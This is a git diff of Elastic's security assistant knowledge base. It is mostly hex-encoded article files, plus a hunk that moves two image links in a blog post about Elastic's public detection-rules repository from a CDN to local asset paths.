f6d285c86639f426a1d19783652511388f7f363f37777c7e9b2aa40d020ec64987d9022a60c14bbf62b2d5fa74345ffb2cb36446ef92b097859d8203eb53eeb6379f5fc270121789ed5aa1a186ae90393cd091117f1682ac58f4d542d9312990a8e5ad84f03b72c61b0a08aad956677a72073d842956a292fd1022a024ef62c06851d6f89d8ac341026b5332d102fe1ca5cc5d33873a9ae727cb056e6fd100652ff505d5a883c656f18b8f5fcf4631a92b6f4f59cfe5ae016875d50c7ffe18db854cb3616c9125d73cf6a98e30f1c401d95d1edab5d2354794a6350afe4759a73ac574825b76fa24eb76a99caa16be16637cef475d5d6fcac5d7d2ee8f25068e14e22b653fc0a9ee9b23b4a771f07795df1dd998a420663dbc3e52ca60757f3d30b42cdf958616c026d820884abb227d3b0427441b53100f3fa11492bbbcfe712194898f6728e97aafc5529336cf32fbdac7991af7d249ed735be14cd90de0487d69be03529c6ecc1b0d490e80324bb134fcff1568f3084c59d7c11e56f926a73dcf6c782b4af220df0fdf0edfa0688b8c3a0cfad5cc2d5db9fbe293bde697abdd6d5579cec0e555e7e608a408f29222a307cbdb63a26435a21aaf41841d22ea7bc356a14636d53bfc34f7990c5ac59310c8e6f68bdfd099ccfeb5ee56753bbb21943e3b1a950a57503685b7126e16674ba69bcbe775ea5884346a174e2404ea1dff48cbed73d63b2501616543d73baa892674fdf81a30756bc661c6bd8ef0e2a158627ea2b96789c97a327d00b90adca9652bd53d59985977bfd6d71978852a0c94b4af034885819a691073ec72a7d6889ecf6ea9652a3636da007cc427996493eb647840ead04535cf54b625f9704229f3f9dd24bcdbac2f5a94632c0edd6da676ca4c0f88b96f0f4f6f7a7492a2a3e0b2b998642b30e4440e4da1881eb41871c524cdff9873ea02793f78f21461417d30874a7f22853ef85c4b752d79b3ce2d90565dfe076851e297efa3c4fb90353408242b01be259bdfd63d794a50c9ed808e32d9538f8f2ae94c1275b646d1404d5af3ea3605beff730efd87ebcd9a15e14a22d27c9cd89de5a69c05c8575f7655b28d8e3904a009f87cd4ec68f02707a263615d644ca147a0244a66fc87e0acac12ce9cea272871ded1b2e15eb952a9090eaf17a7c302b91b84d8d298874266c4872df51c42827723a887ba1090809c0ba4175778304c5458667d3ab5fd269aba3e6a7537618265018adb9e11029aa5cc64e60754f04c6b85dd1dfe9cbc76c4fd84b92886e4b25af9ae9add1dca7949e3cab6941db3c4607a33437e1502d7fbee9d058f91fa86e453f397b38b18bf9d6a34bad052e4059a3fcd9a71638408a15382c0e6e7754eba48ad3419ec4bbb736fe29a7e90ff42679f6daeb75da7d6751df5dbaa50fbd8883ba0d362ad1bea85cce12740943747078d6588fdceba1f795413811d363a79a34ee1d15cb7054bd0d2b9416dbc1622b3251f9f475cd9763133d221af25078e2d2d5dba0b6dd541390ecd2b23b12669ef66e1f880a41f6a9cdcdb8d6c28c52762ba78e1f4778a2e1d0aebc61c1f0b2062f14e389953c5f9edb4bf6953df3b07665aafc6718927da5d96c49d0377a52af11fa234cdff7b95b1a7aa54b28fdd6d9a7d40ed7bd85c508c30ea41e69d1210cefe7b02ad2c854425e54ae6ec33be2d28ef1126288b4e986cce0580c3010e5c030d5d53542cbd96c402fc7a131c9a6c69fdaf13327ce1545cf5c7b4426b67bd41056c241eec73626b827552c6eba6af6398c1157fb26e31de737d48aa1d73dab7ab40368dbefd2a24e36c72b4a6a65d2275e212c3a1fb6618acd561479e2e8e170923c9e13490c46ac387d3ea8eb6c1ab97584f1b470b6467592ad78678eb1551a901625a8aaffa3b7745ba34f0010e2fe40f0b0ca755b8f84d273fc3700e029debb3a55c18ef06284fd301d2fe9a3357f44d7b8d900feeb95d4648aae591eb6cf7be54b7e419428b43517c0797ab221e7b71ce84688b9395f3029d903c151e5d6bafea24489eafc4d8e3a81af01ca424246d855562c5946331016daa360a264e8f5ebb8b7a04d99726543ded885bcf75cf17e80c75a35f49c97a6bf8b8d74a2e2122f44984d33874300c349ebe77f2d8114958c40d763054f3fec8d02097861b0259059161a97614c83ed589607881c600f7e0c7597be392cb17d098cbbd4c2b484f96b0efd25a012ed04c9b4478ea5c1be531b43acf957cbecc3a2808d84f92cde94fb3ed1c799a948ee0c91e987aa0a4e9003fdf921969058c14724627fe6e60a20c306399d56f21848ec58630f0a9a39f0dad27b04f00a53d0240668d67c97f4e5ce3fa0c598d42c335f5f5b4489774f51db9bd086b0504e6f5a8cf8487130a2248534378049824840adce93e61f688b62d6b438b7084a39e931d3ff3246da9e87a771da95820c23d0d8a7aa1aac30fcac163262ce84eb39b0b24aa27e0b65a20e68f9e69f16074251b533a0cdfd8ec6eef4d5dbab782e51995f8c68e8a329575f36822377d5a7ef062e436bc172ccf162355bf226ff63d12fdcb337b604466ed92da7fd9fce87d865ba07ab270c86124b568d06aa6623e13ce3aa48101be9e0e7446d9e3b939f71c14c328bd219dcf1ea99ee874258f657952db007ee03327d788350331b026887269162588b55d60a1c2ea7e7cd80e47841f3035cb1817a14fdf90e6e63d513efc4d176501364395c5c3ef5079c1b830d6debd189bc860c97c7227c51330352942fc98793d1285b0388cd6d382eae6d0a93b4628d11945cc34aa539a071ef58772f3908a758a9087774f5218624dbde6ecb110fc1ece724522675418775ff90cafbe87a6f2a2df8eca12756a81f6f711336a5c22c0f0da279b164cd37340aee484900297e1a1c8b614f68be85e6d27928285337f883a4fc1510d4e6bfd3ca4426dc58f3138feb388441a5d9f2ac8a28f9bed9cc9084908cb751d640337437746b8c1268a49673cea8096aaf71fa1432602f54ff4d07c5ab3ac0c0376595c427b3b4985181c9cac812f51f28da5f0525ddfd13e31c810cc8745001a128c3f8fce6d7932b48ef6467f58e98bc71011b1796b2e0eb54c170ef7f6b1cc204bb1027154193126dbd7851516382e7317ee45fec5a35d20228072a0352a6585730ba0200344215adf08e1e4dcb0ebe224cef3023bcc72ecae0a492bdb13bd89f894994e6fb6b2c98b912d9ac94e05fa2eab6d93e6f91414217378ae3d96454590d8a846ec3f50d6f3398d2f93f7c6b0065efe6cdb8c0e143ffc4938693fc12ca03535053ca7907b68daf3ce77c4b82d1d9371df0399ddec79afbb1ec389dd27d2d9e011c08e5cc36ff92384fd015cb6d195ccad85c2fb95cb93c909657c4551c9d0e327d512e60f833842a35fa89abe3b006acac8af5c4cebd2eb3da435b77fd7f072c81524da04b75305b58e4003b156789810781ef6f5a1a94a22528b326594932332d9eab8a39f9e84426149415011bff8727610cf40ebf03ab3495e81df65e971270f43e02bfd92137c441c079695f9ab13552a17056fd8ab7afe21ac7a3936ad01bad07a5c685333fa9f4bf15402990cfec3cdec28ec892b493c81b2d2e78ab916d41cd4243d22b92c3d9928df7b734130ced68f2f24266a0aa5c4f09d84de786b5ae177985d279ec2ffb9e7f8a3973e5761de0539b4d6da49a09095f987c11ad50e7fc9d7610847904c0b0f9a102ac193ee7e82212ba109cacd7b618c6fbb60984217e8836b26bad4ad53043f750fb47108fafd49f995204da2cecdd9374c264a8e54615150dbda228699c4558c850a340038976063c65fa52fdbbab926baf5bac780c6315fbd789c11900468e69a45c17b281e67da2df2552bff897cc075c65101669f5b8226808f5dc4dcdb38fc4a66acabb72e4983c8a255050d3088c9075c7c17e1ffee7257a1ed755f7813981c69aacdd6463c9118d50ff3a8210bd7c7cace59f10f09207d3288503e497cd13d49e2760130e28c2e33e6f87ba33b0724c4bd8d1bfb1c9c8d1a9d78794e3e99a6d0659a112e78def06853125fe461bb2cc7fb21f83c747cef8c52053fa3a7a6edaf7901104107fb32c8d13d19c34751a90133c8ff9ecd3a24a6f98f0a1f6ddb3ab3785bb986494ab4f36c4add266827cb64b5ae2c08b7e922d90fedbae9816c4de1f20fda04205777fdf332616be0c5a3a4deced71b30a9764b31fca134a4aad1160fcd8dd799accf9c7c17d3f2e3f3311f66fb17422fbaf0f957de481bacd39422b633b0d3bd4af7eb31b6f124b1582d8dae13214969a4ab91296eaa9a18bd0f05df7e2be0ec9b3f17924f87e7b71d112611bb94330de1d8abd102fac4b809bdf95641abb3a4043750dfb964b1a3dce2d8dd3794dda297f76cb3502bfd0e7947af2cd56ab613016ea18e59053ce4284ef002d5bdaecd9889290e5428201482e202d39c98d065f46ccea3323d01cc2619042982764dc92cd3e19128a77c7c9d488bcc34826d6dd42f13eabb978621a5e9330c75d41aeb56285d7e864f3c43bc516698da5c8b98a5d2715186a33efeb144c7c232f987a42aff4e3d33fce8751f9272c4f9adfb04534c81545a6203cbc93619e1ed121b88663c3167aa6b244ced321a862446d9e7168b2c681eb201bb5b54684dfa7b9371c4d88bf08e6a7fa4716786e14c9ab170d6fec6d933bc746247f9937b58be130489ec13656511ffeaaa5b3ca5aa663c44e510e0c37ad32d7cae5bbaeef4fe8c0ba68a38e5e1625eb6d6db3463c4a3f45250ecf58769efeb8226e82eb3244ba280ee3cbd3033a2d3dcb6cb8a0c3e5f403b6c4d5368dbbd554c139a060d8d3c118549314f8c2d535ea97102ae4ea3ea9a29cddb604776377ff1613a3a70550debdd801168568094d8cd979001f33125162f39fac38b51f7395c55bff59e103a9d630b95ac3d723d52476465ec02aade8bf88287d31abb2d96ed132aa6ae2b239056a3c224c1d0dde55a0c244593aa78c1148520ddd1e05407ffcb3656b19343c81f0aaca0436567376b9904dc1ae328a721255b45413e11f0f67abe373ba75c1a8b28b8145929506fbbd21b0a7f4c0d948c594197071405f4f167fafae7f192528478a2021153cf62c09e9f78f85b6151d9a83c1d59c0cbc87c46dde60c54b8032eff24157e3b1563c2f31a6a8e2f48646e959715dba04486aec3a98cc23635f1039297d95e8962316c1aaa1a0fe7744804bea60ba4344a45931f9526f0a81c526cd061f1003194512d01451a2abd4dae1ad301300abb720621a3975a16422865f9a1ce575ede7f1420c11a957fae0b2e3ad51b97b8e17d892295d3c8af78f9de77005415591eb904609e4b8a387aa95555f96baa175054ef3dc3a5aa1718a512a5083f28bf1a219256a5e8b791a019806f7e5ef9b5168655fb04da2a7897228c92ef1b29258d389d76006e5920ed82606dfe0053e6352040aefb007cf3be74ebd5f5dd09fa700a8d3972937daae90939d6dd57b8e15018ab699a8751195d75448c84ed1e55c89e10016632d0de88529ac563ffe375d06ba14c35f8e10e4e58eb1482f0471228f5b9fc859fe55867f7b1e6c58013ba852a9b5b69806d361f973fc1760ca491eec58f4e919ac1c035743e88932278dab1f0a8776dbe9b899059f4ea32a160da76ebd2c9478177a65c0ac1ec09100d8d9a82284aa6919f931de233668f3f6d33b96a618e8bab1bbb490ac1e925f688d727036694d049e46057a1fe4e68afefa4564b9f6406279f9c0bf9873e5914bdc90ae7f279b95173004075895917176ff973ee928c923ef48f484ad7fbc5d4aead0320f76e1c490e8027659a6bd13d387f968384f8259c0f051e9600c3e7ddd398fde5a6c8207bdea9a33d1b7c2fd44f0e3681290e653571b95affec7216e6673ab84b1a3e7fd43a093ad6c853f0d222903b3cb0ebb537087c0739244edeb3f98e878db73b4a87169d68e7672df808a26b1c08f409c96964903261009ac9921e5230cb182c94bd9f422f69ff03ab09920cbc974731bcef6d04da1943b9a170413011df5b5f1ed0fa8a24929911084ebb81d59cfc0b10290add7d62ee208c6520d935050a66f758e3a775177017d2737b401b79035c9d6cf038e168aca66df620089799ec7c020805d88c9e0374243a2e45f64b64d1be006a71c4e865dac37d3592aa7480f4e39ceb198dd365ebf7b126a5470daf4f64e8ecef95ac5c636cdfc5e8f1271d25d651f32325d056f08d760862f0fb4210255a5cce2f8377e2fedd867007ebb9d8557981ee5f2dc4a4d003c09d6c3bba97f223f2098204e02501b47c46946a90211aa6a0cfa4374958eea2fba8ab0200c891cd678894dd1dc473e08c50dcceab5786df643c8bc9639cd325059a611e2e9d9806a660305d6ab86119d48d5714b5864a1d35572a927efc0e3ff4469f58032c46ac25bdb6a98ce2ab1aa9413d0b5a46b96af8830af4696793e84cbba4fbff2904dac508aa5c84ccbf5f50d287de361b3af34ad9860bd212d27511ff0fd5670040c9c95e5b36e669244997dd7e1ddfc4942023f870062db66a7c0a845063d2b782e94e2035282f4d27cf57ab10d01d573dea60116306b3486aad7f4600a0a638faa12215531740a9ffac7c747bc923b98a2374f435b2a00f5398328efff831574827f920d31f1b57e597d51667cb3b254436e8355e31403f7df8af960c170171161dbb207b97d796b4ea2451d4c9fc9ea9636458fa14d83fc30c56b1f822843a1cb1843e5431cc84d5f8e693c823caa642b378caa2b6f06e62659334c991f4d509f83c52980072b73094f5d32afc0aebb03090d48cf8f121343864335c080dde7153a4d9f1827959ac92cdc7e43ac9910084e70b7fe813977c537b82bad5d816df82f440a5fa2c1edb502ef885f01c598932b9d5e190f19403718e7dad7248a50ec8165b14799be8fa47e5c3a7b2fd5bf6d62fe37d286dffc00462c79f5cc5687d72b5b4003f08cdc7748b897f11b0ccaa166207723da4a2484e59a8d883ad47465496ab9ad3cd29fd5c0a98485bed730a5d319a75a3d7b0cc1398cca299fc9036029e9c4b1b3f5e383a8b29f78d9d67db4b88d702c9ed31136e7a906a79f398764717cddf170d4ec96d02b65f0c95ce7cf49cdf0188f9b939d3fb6aa5aa5535a3adc6e50052f4379b7f9a3eeb5000592abf0e12d15c086556a8203d760784952ccac86d004df63f6ff03b9efdd1e644eb69323461cbe4103a5100692635157850d8c7bbc52209f89b51a9b615793f66ad73f9639d3f900272e8529dd3713821c7ba91630a3f00e897558e008f61f1e0ec88e024867d321e5f53a29d6055c7a42b8ae1504b642ec900321c96ea50b00c053294dc5b956ab133bae114dd2619027f9d55e5c2bfc2d2d3a3bf745eedf073050eb56f018c081e4e34d2bfe989c370666e812cbf802ae4b691352c9422b038512b15371cc29ae312cac5d115f211ef543c9720388e212a697e7f576f3b750fc91d3e42e5c9f7c77eae791700e46da023bf35286197f9157943f2791aa5e061e7661a5937a4869985c47e3fca2dc0a60608ae7ee9c71079baf572b0000c47f7bf0f3deda6a662ea3aae1b3887fea72d13aaef70146992cc8f304954d24537885209cc6de6e7d71c6a2e8cabbccf8f0c8784c8539b12a1c40c41fb43819a4f789bca2df9e9416cc8821425bfc51dd2fb46e3ff24d8acd305286a03e22af675891e646c9a1d0061bc9ddb86d5a34f380cf8d65696f171940be98ce048636f20a9637156765ff4ca37fde374b7734c93d0bc64f98132b75087d8a37de6298cf202746ce6b8860a1464eca8c2b7125d7f703b320e9ea4858a65a97ee25ef8062d91a6a0732f820d98411547b853dfe7881d3b82f2c4ba223a70abceec065e65fac440252f7ecc894ed0445bef25479ee57ef99d12919cdcfaf9ad33baccbff4c3293b57318beb7e87c658f5a9d1d43f0191c566c0461ef94db02c486b29ce85256e3fe2f216f77dde96fed08ee7bffc3d6b7e67722a6fd85abeb719aa4a0e15deba91ca317f3b9803b95b19760a9d807eb1f437008f8e9c58ec51d2a28ee261c9de824809349acd876d61fd135fcb9c7256fa2cc3b282088379502fe690460ecfb960b2f2c4ba223a70abceec065e65fac440252f7ecc894ed0445bef25479ee57ef990c41a13ef837aba4fbe3aff46f4ebfab70c5d96608fbcc13534dea9a9622050141d16d4b61a9e9446e61c3ed18b3ffbf19c989cc29bf8f617a251dd056655ff6845f9a5f66ff6b5e8e75c632157e16d491a36da471bd37e94fc241fe3ca87db2c754ff2b72026c32e2f94db68402c5db289591400650560eef8755b4c875630409cc3febaa05a8b1f2c20ee8c7277871972434c4aaf0e94bb5aea9bd60ccca89af9075dc058decfaa0be0a73e3555ef9d45aa1b0a57aef3fac26a97386295a5652696b97c80063bb4e11953563b6e10e53faa8f8b626aa534aa0dc6361c925047e23331658c6246afac3f56f8ac7071fe96ecf78e5c8e85c97bfd09477819c29685d9cd08766af90e8f2ce8aca7cb7027457ddb82476ca7555e61b648362fb1098fed8d2ac701fe8757a5a1dc1313e5fa387ee8d1e536e463c6f6af0ae397210bc6f5549e7880da2cbb4fa34c15e11463a60cff13f9ba1f760947ba1ded3182bc5a0d2e65696a947a07ca3dba4c925bd5331a23861fada772f8f0a277e9943978f60f8edc45d180084dcf784e86654a6cd888e218e43e8c7ca3b17003193d0111c83ff850d0941ab978c8f04242ac505ec56b119cb46d898f2a74278a9bccde6424c4e62bd7613d901ea249e7b118a5c7833e3d37dcab146df3fba109c560068c56514cd3af6be65a31a887ffad37ab9922ad86f15bccb921c45710cab9fdf7c73f3ea776db508d616d468ca5d1bc28985abfca79a7595dd8059f5fcb9607141bc5b6300ad4b8bd265c5abb7177c0634c0673bb434667b027b89855b27234ca74be575fe55e5fa874945a4a9550e74d4abf11c5863e4912192eb76793a697a7bf4c8a1945b0c14b0b201a5201ced084a294b6211abe2d5d942c7ef6f728d828c20ea8f23e0dc68f8aa130bf9e25fdc0c43d87fdfa6ce01a5cf8df04d4ad934069c04fba5a5f9b1e5ea15911dc64ee5a12564a250b726293304c571c22f12837b062d38705c43aad84bcaa6a7af42e824f00055dfb100d68e6a78341d66d2359434c83cef86a329356771c41523f67489c09fdf7d78e4f1d8fcecd401c10a17749b710e811961a1b5ea0f481d98d988ae22a6fb10feb77b0c9abde284b4e1b622362ae9b26c86eabf14510c6b5219aef3f11c8716911a6db0fdede7044d892f6e0a709e6e6c97518e4fd3ab5e52f49295b31b591404c9b03e1afb1ce247438534d749f00676265f6771bae20b0995ded37f0056df9ba124ef07676f24b9670104fd376165a058a859d0007e52d23fed48fa8a3588773b46a716522e857c398509422e8ccc3a826feda4cbd435e96d62a4dc14b5fa0042afb31c197cc31ba74885e51e9810da84010fbb9b4800ca439252aa9ea2dab3c66b4b78415c525ab856843ef7b70547295ebdf3001634db40923b1ecc07c150aec1d1ff8342b87b10564c8592db94b9184ab5d02ee5cd477a91246b511fd59641e886b1308aa470f2c0ba8659b88b580ae53db092f9e33fbe07c55088585a733f415b65c7fe5034e532f4d4cbdd169f519f940de73f596d0be5e70a47eea456b76701215dbe9ec932babe33c49a4bc0acf11f76695d5b18a7c378ad26470e5ae410824c58625fa4c416c376c82a2f8c90f9cc0ba92c103ffc576ce6d9e5909f1d03bca138bbf41478070ab4b85877c34b6fc72535e213fc4a930a5b64cfa3ec11ceaea5a02c314268dcac6b511fd59641e886b1308aa470f2c0ba8659b88b580ae53db092f9e33fbe07c5cfe0141a52275bed7380b6e69ffb9314f87ea48b57f2799dd5d2876de6fe21cbe0f4e77f00feda28cd212ff213db2437095c230592ee9a13ed2e6b483822cb5c505b5e3391b9ca6ffe17d7dcdefa1cd26c7624f6b4bfe043349eac97fa03c095758d84397811cc3726dc183adab3b74a71558d16bcf3b373a879a1d4642e38d229d4589142380430b8e40d2ea0a46f5da5d3d5233691fc74f46e1fc25322f93147d476642a1db0a2e263aebfd5199d6541830ae7cdd1a474993f2a4d0af109bc79af01e78f70a4820a2e0e84c20a989e2c231f6ef0ada4b9ba57fb479ef455046220d8e158b5a4a13b35a98ff961b7f8be67eda00a0f823987c4fbe6f366cfcf863a7f7ec31c61902d17171aef548f91f83da5f0e57b3e0ed8b9b0f49495af2ccbe8aefd82da5a9925ab9e597d8d39662e69ce2fd47042bd5d31f7b8c6ca08eca631a5c434ead29280d69731a04ef6eae6d0a9bcc1149c265977aef54cc9a2a90130bab78cd199b419609d559ea4d9c08c02e779b8442816375b3f3f7dc16b7376f38c8d6c0fafdf17aaa0f97841ccd7e32ca5173aff402449108ad1d02f126dfe2f9564b84c04217b3c0bb4fe08d76466207723da4a2484e59a8d883ad474657f3f04e4aed21ceb99d34963a6c0c51065e60c39fb4c695d8b322a9ae461ead6cb7aa0fc8990a85c9edefb634759d23c3db51329aaea8bd724d95a152db0f6628c5dc55ed2a8a48ad4151023c3daa5c6dcd147e037265e2a0c1d71b401f5337e28f34c6c93a6edc9b70fdde3b458e954d0b34d2c6d981d1aa33cbfb6ca948292ef254a67f0f7ecf8f81561a881b6835b9dfe740c4ab2cdcac921dcccadd47d70e867a1ed8a10764b8b730f3cc7c33c745be2bd00221f5a9b39a057796a971ecb956948342167f0c5851c46aa1ec04a75359678b193e6a665bfddb82b8505e1d31e22ff2b2c9464762e6ff56f03c76c86b48a889b985873f5d578e7bea944100027478be74bea3dc5d07b267629e26709a252353d09e433de2bd24d4b15e1f25d66f60c01924b7a76ebcdea1656881ac86c5cdae1d8a83c4c8c18bdeab3b1456f1588e536db30da13aa8016b05a13ee6a3c0cadd8bc1f51d96b3c31dcee9799773568a263f35fe979d6fb2f955029193baef198e24de19e03d0d81abb649a77aa29eca145e1f32e90556d5b3e33ba530e7a292295d331438203cb1a7987693218cdca3065d945fe0c2e0386b7ab1645eb1aa66274c5f5919890e893b75521764e9e8bbff19dad19bd4c34aa95d041b356dc0b924811b9fd1bc02584fd7510ea7f6c50909b77cc9f918b12d388b3e8f9971dad9944a935292f4f7872dafcaac7341d8e4e2026fd22bffa47bee87c8466d5e80e401fd236ed7d681c41b74ba8452bc695d0e9530c42b8ceec4493d96cc03f71c74e23ed9041547175bb1c2e407549efd0edcfcc6ef2f413c2dee47221a506913d8626ef82588794ac16c34ee84cab2f299aa1e156751d0ce72dd9bec1b6b9f6a94f930ea5f29813a175773e0fe4590c2966f27dd1f349f022497245f9a7817e41db217957dc5a8ecbe1f0a3d69535 \ No newline at end of file diff --git a/x-pack/solutions/security/plugins/elastic_assistant/server/knowledge_base/security_labs/elastic_security_opens_public_detection_rules_repo.md b/x-pack/solutions/security/plugins/elastic_assistant/server/knowledge_base/security_labs/elastic_security_opens_public_detection_rules_repo.md index c7f0f2712a5e8..3f7feb8062388 100644 --- a/x-pack/solutions/security/plugins/elastic_assistant/server/knowledge_base/security_labs/elastic_security_opens_public_detection_rules_repo.md +++ b/x-pack/solutions/security/plugins/elastic_assistant/server/knowledge_base/security_labs/elastic_security_opens_public_detection_rules_repo.md @@ -26,7 +26,7 @@ Within the [rules/](https://github.com/elastic/detection-rules/tree/main/rules) Every rule contains several fields of metadata in addition to the query itself. This captures information like the title, description, noise level, ATT&CK mappings, tags, and the scheduling interval. We have a few additional fields to aid analysts performing triage, describing known false positives or helpful steps for an investigation. For more information on the metadata that pertains to rules, see the [Kibana rule creation guide](https://www.elastic.co/guide/en/siem/guide/current/rules-ui-create.html#create-rule-ui) or our [summary of rule metadata](https://github.com/elastic/detection-rules/blob/main/CONTRIBUTING.md#rule-metadata) in the contribution guide. -![detection-rules-repo-blog-msbuild.png](https://images.contentstack.io/v3/assets/bltefdd0b53724fa2ce/blt683eae32569f7543/5efb61e38304ac0dbc4a5a0e/detection-rules-repo-blog-msbuild.png) +![detection-rules-repo-blog-msbuild.png](/assets/images/elastic-security-opens-public-detection-rules-repo/detection-rules-repo-blog-msbuild.png) Preview of the file behind the “MsBuild Making Network Connections” rule @@ -34,7 +34,7 @@ Preview of the file behind the “MsBuild Making Network Connections” rule If you’re using our [Elastic Cloud managed service](https://www.elastic.co/cloud/) or the default distribution of the Elastic Stack software that includes the [full set of free features](https://www.elastic.co/subscriptions), you’ll get the latest rules the first time you navigate to the detection engine. When you upgrade, the detection engine recognizes that rules were added or changed and [prompts](https://www.elastic.co/guide/en/siem/guide/current/rules-ui-create.html#load-prebuilt-rules) you to decide whether you want those rules upgraded. Follow the steps after upgrading and you’ll get the latest copy of the rules. -![detection-rules-repo-blog-msbuild-network-connections.png](https://images.contentstack.io/v3/assets/bltefdd0b53724fa2ce/blt1ca938b9d35957ee/5efb6250f715ab0f6bc3dea1/detection-rules-repo-blog-msbuild-network-connections.png) +![detection-rules-repo-blog-msbuild-network-connections.png](/assets/images/elastic-security-opens-public-detection-rules-repo/detection-rules-repo-blog-msbuild-network-connections.png) The same rule — “MsBuild Making Network Connections” — loaded in the detection engine diff --git a/x-pack/solutions/security/plugins/elastic_assistant/server/knowledge_base/security_labs/embedding_security_in_llm_workflows.encoded.md b/x-pack/solutions/security/plugins/elastic_assistant/server/knowledge_base/security_labs/embedding_security_in_llm_workflows.encoded.md index 763f7284d5729..ab300a1fc68a8 100644 --- a/x-pack/solutions/security/plugins/elastic_assistant/server/knowledge_base/security_labs/embedding_security_in_llm_workflows.encoded.md +++ b/x-pack/solutions/security/plugins/elastic_assistant/server/knowledge_base/security_labs/embedding_security_in_llm_workflows.encoded.md @@ -1 +1 @@ -fc94befb397a05084f0cb360ba5d30cff421e79ceb42a6e74a1de4abdb89f0ee55e873b1ae0c3ee9e85d0031a11dc56e77333243cd0aba6e38fd12c34cc3277ae21846a125d72ef16a501d97dfbfe233d1aec7ae064757fec98e60f7511b43bd1fe89b099ad8d5c31a147f139382b2be9c04cb59335b0317cbbee1d6e743195b8059a3092aa3ca7b0145ae0ea8434c12b40c65c49c15450f535e79be8dfbc31cb1e50f0e6c04dc997568431c33f1d57bc1a22ea39adac4b7fcd980954608b311390f8993a68eceddeac6cacdbd4c036b2bdce39f6797b7c18c3e3b0726d52c18375b9e2e56041d3f488eec4e091bad0fd003ac8a09a74ec94eba1b14c9b1f200f08456126a9e41ea63094b60414b01fa6652ef2ee0305743676c58556c1b97a462ec1c48564ce8a0d6bf079d49a647779ef7d1c0849ac191188c4f6e0f2a1ce07e9f415c47fae966180c0e48c320a7f22104553648500598f47c669749dadeba3fc503600bc0a6d779af3a0137351096ac6db6bd7f34fda42a727aaa35238cf2e46e2be73311559f9d61db8f560aab26b3083ffa4c02a8b6f037fce53c7ffccb996c0c1fd61b7abd97f62b6217bd06e863e71bf6ac6fd87944956b58ab8c9da0a33f7f2c7c12baf300ff0bf000cade527fd1a57f729def53dcb395957ceeaacab48d51fe8b704374fae2a7b1725323c3d03076a0c047311abc3c2fb04d8466ea50792ec5400945358d2ff1c918f24fb93268e77d0e5fe8cab3779049a3b113c23ef487a81e0d896ab5acbe84a815fdabc74a7ef483018bb3a9747d60f37d11a714f7345d4b1c7d4bcead0c88c4862d1790a7b40272297ccfe078328750d22ecc0c518bc5ab43bf5ca1fe96c33ffa56ab153ba1c2a36c84ab3e6d65a5a1c30caee68e14e13ba28ee3842b55f830c97e3b445476c1ea606f95093bdb8379f71ec19a921eeb595aeb0b096c778ba837958eae342b26a162765a11a0b1605471e35fe382e423e566e981c89d94debd272964816f18ee4daae345132f939a857610d59cb16de6c2cdf28e08b17371de2a85defb767653589684240f8d3da52d48fefed7d802c7b15e2ede64f623705527cd25a48b59aba837ed57343341e202aca0607772377942460e9358fbedace7e306f1a21999b498b9e7026ddb46931b985ade18eed1891c0e1abf673f1b69634b00c87cfd60856150f2e231a3be5a1ec7429381b24c7346cd2591726e7e20b76a9b3f914fa356140db04fa0da0cb3e78d3968021a614768f03d2c3e74958d3067abe7587772973bae55801746fe0409f9d4e2caf75c999ed7f6177d0b4bea4d64ff6d6430c1c1d4299b0ce7546d89cc4eb67489714202e3999d11ccb0fa0bfe3d461e89bb3230daa990b1410688f9b42e8a9930a70ba8e3818f6b949b51375ffc1b49f84b9dd7e894511cd226a7fe97d3b31395ee375dedd4526dc65eb6507001c2bc32f3e015b44c66c6472360b5b14e905b9cf9d8ffd2f407b5374d2ea2b196579c187cc66f458aa01c6d77736ae57de92c077d6e68c969463c050c100a552d10d7135148687cf362781eb3baa10bacbce362121e81b9c5c754c3649146c82d2e9dd20fa4b4d58aa66d577480c62eeb95762a7ae6130c558e1dea8961f70368f63e068314c83ac555e23a81eb4164b3986a2a3dcecbbe7e208035ae30c78938f5453fd4fe922305843ada72cfdfd78da4a12dad1ecf4305d8b289f6aeef31fc1a295a2a604686a21888cea2724d8860610d63ac5eb790bbbc27f7b35fd7c0bf0cb200fee4f86563c82306a4f7b21672d24a19e56512fa4dd12981fe444464b1a241f8e2a83e574aad42e8280915c5228fad87b5612cd939c6e2b594d524b3f0cb02c9cfd1279ab0db175372a35cbedc94a5b3017439e5079ba9ba89ac016c684d0ca6a8e2f48646e959715dba04486aec3a5d09933ed590cc17bad669aea18cf04c8c2d26e213eda4742688939afd1943c7ba637b2ed393e8fa4c1b51adac3f75d2028a6df52375af3d4e6c4c89ae6bc7040e05e9b293d3b46e09b262e3370f01ebd22c522011fc28133e90859186efa1556dd54603568c0b3a7835a2767b5bf1de977c2bdeef825303e7f5e18c5f9e1ffc5d89e7e3fe151f12a81f0044bdbe7d5f87da1a774e8cf973bbf8e0f459a0f0d1ec22b15c3130e29b97e9d49f2882fe588349d9a75eeef58cf5a9b7ac200d9a2b000b96c1283a763590f9ba8e65c0d96431eba1ac87e3269599b8084f0fa6244dcdc02e57be5b69f12e56acb0667f3c0a628dc26b8fdd7f585998bfd171e886f91113ae9eccac72ee52c00d14d562578c4514fffe51f06c05a4a853a1bbfbedcdead618950ca2e4296584cdb458f201fc53a6663db66b0b119153572b4d2e893d974255b4e2d73240836f586e5ec41735a240b3509a366e7af4936e5e85a3ab53594e8d93b3d18e7b0c2bf4c14539c095f9e664353f0d887f39d66840d76bccdab6095c1fd038c828c25ddab5e7bbef986424cf3bdcaa022b06ad67559b0472a81eba45c6a65d12f62f8389344528c4e286587b095144f3c50f55083f0d4fe513a42fc40546a942d2281355a060abcfd377d24960c579d8ae609d9e92dfdf0182eb55cc2a791d4410b286ea7c4ffb83d5653c49e6f9987e94275c1393ea20f3c4b2df959bcdd4727a3d406b6cd66a318ad37092a5510ddef4c9d490955245cde4a40a864e7beca9b601617b5bdd6b7128d8dea49072e5b0c373725bd4935439d6bc40331d8e37258683db47b8e65121e6cf7e3ef077ca0e03233d78f867b015e1cf9605a64955255f7279221171482d5f409b601899913ff3c5a52180c5c2fc04b21b4acd27fce32e1bfd38dcf16aab5185c92a79ef7aa16dc31d7b02f24800516ec6ca7431926ba705f07a281c170079fa3fa70cc1232205a9ede2a1345e605a360db426b16e5de78b48b93cbf8aec1260aa03d66f3f24b182a899516d7df62e60309e05d8cdc45cf7d0a84bf591c71c4e70c63f9d24cec3c55b711fc39a46b6150eaa1fecd4d4f402c57f58ec91699767de88b44497823d588fb68e5a64a6d9d13dc6bb86475a1b1371adecfc5a908a2d787c47c3a92434a6da8eb882796235bdae1387eaa0944439c97c7097a5f337a770b44c39c1b5423c99b61443a89f85c975ccf30c390321282c2ee611b83e2de999e700e9dd3d70336917052c8675299032b0a6193338ebe62b7f